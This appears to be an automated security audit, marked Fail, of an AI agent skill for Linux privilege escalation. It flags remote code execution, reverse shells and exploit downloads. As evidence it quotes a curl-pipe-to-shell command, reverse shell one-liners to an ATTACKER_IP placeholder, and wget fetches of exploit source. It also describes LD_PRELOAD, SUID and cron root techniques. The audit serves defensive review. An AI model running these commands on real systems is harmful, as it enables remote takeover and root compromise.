Linux Privilege Escalation
Fail
Audited by Gen Agent Trust Hub on Oct 29, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONPRIVILEGE_ESCALATIONEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and immediately execute scripts from GitHub using patterns like
curl ... | sh. This is a high-risk pattern for executing unverified remote code. - Evidence:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | shin Phase 2. - [COMMAND_EXECUTION]: Provides multiple functional reverse shell one-liners using Bash, Python, Netcat, and Perl intended to establish remote connections to an attacker-controlled machine.
- Evidence:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1andpython -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444))...'in the Quick Reference section. - [PRIVILEGE_ESCALATION]: The core purpose of the skill is to provide methods for acquiring root access. It includes specific code for exploiting SUID binaries, sudo misconfigurations (LD_PRELOAD), and kernel vulnerabilities.
- Evidence: C code for an
LD_PRELOADshared library that sets UID/GID to 0 (root) and spawns a shell. - Evidence: Instructions for creating SUID shells via NFS exports and cron job hijacking.
- [EXTERNAL_DOWNLOADS]: Fetches multiple external scripts and exploit source files from attacker-controlled or third-party repositories.
- Evidence:
wget http://ATTACKER_IP:8000/linpeas.shandwget http://ATTACKER_IP/exploit.c.
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata